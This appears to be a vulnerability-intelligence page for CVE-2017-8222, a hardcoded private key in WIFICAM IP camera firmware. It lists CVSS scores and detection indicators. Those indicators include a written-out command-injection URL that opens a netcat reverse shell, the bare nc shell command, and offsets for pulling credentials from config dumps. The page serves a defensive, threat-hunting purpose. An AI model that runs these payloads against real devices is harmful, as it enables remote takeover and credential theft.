CVE-2017-8222

published 2017-04-25

CVE-2017-8222: Wireless IP Camera (P2P) WIFICAM devices have an "Apple Production IOS Push Services" private RSA key and certificate stored in /system/www/pem/ck.pem inside…

Priority P2 75 high 7.5 CVSS 3.0

AV N AC L PR N UI N S U C H I N A N

ITW EXPLOIT VulnCheck KEV

Wireless IP Camera (P2P) WIFICAM devices have an "Apple Production IOS Push Services" private RSA key and certificate stored in /system/www/pem/ck.pem inside the firmware, which allows attackers to obtain sensitive information.

Detection & IOCs extracted from sources · hover to see the quote

path /system/www/pem/ck.pem↗

url /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20192.168.1.1+1337%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0↗

url /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s↗

command nc 192.168.1.1 1337 -e/bin/sh↗

• → Monitor HTTP GET requests to /set_ftp.cgi and /ftptest.cgi on port 80 of camera devices; command injection is delivered via the `pwd` parameter using shell subshell syntax $(...). ↗
• → Credential extraction from device config response relies on a binary marker sequence 0x0a 0x0a 0x0a 0x0a 0x01; credentials (login at offset +138, password at offset +170) can be parsed from the raw binary config dump. ↗
• → Presence of /system/www/pem/ck.pem in firmware images indicates the hardcoded 'Apple Production IOS Push Services' private RSA key/certificate; scan firmware blobs for this path during threat hunting. ↗
• → Alternative payloads use wget to fetch and execute a remote binary; detect outbound HTTP from camera devices to unexpected hosts following a /set_ftp.cgi request. ↗

• · The exploit targets the default credential 'admin'/'admin'; the login can be changed by the user, but the binary config parsing logic assumes 'admin' as the default login to locate the password at a fixed offset. ↗
• · An alternative binary marker (0x0006 0x0606 0x0606 0x0100 0x000a) may also be present in config responses; detection logic should account for both patterns. ↗

CVSS provenance

nvd v3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd v2.0 5.0 MEDIUM AV:N/AC:L/Au:N/C:P/I:N/A:N

vulncheck 7.5 HIGH

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-522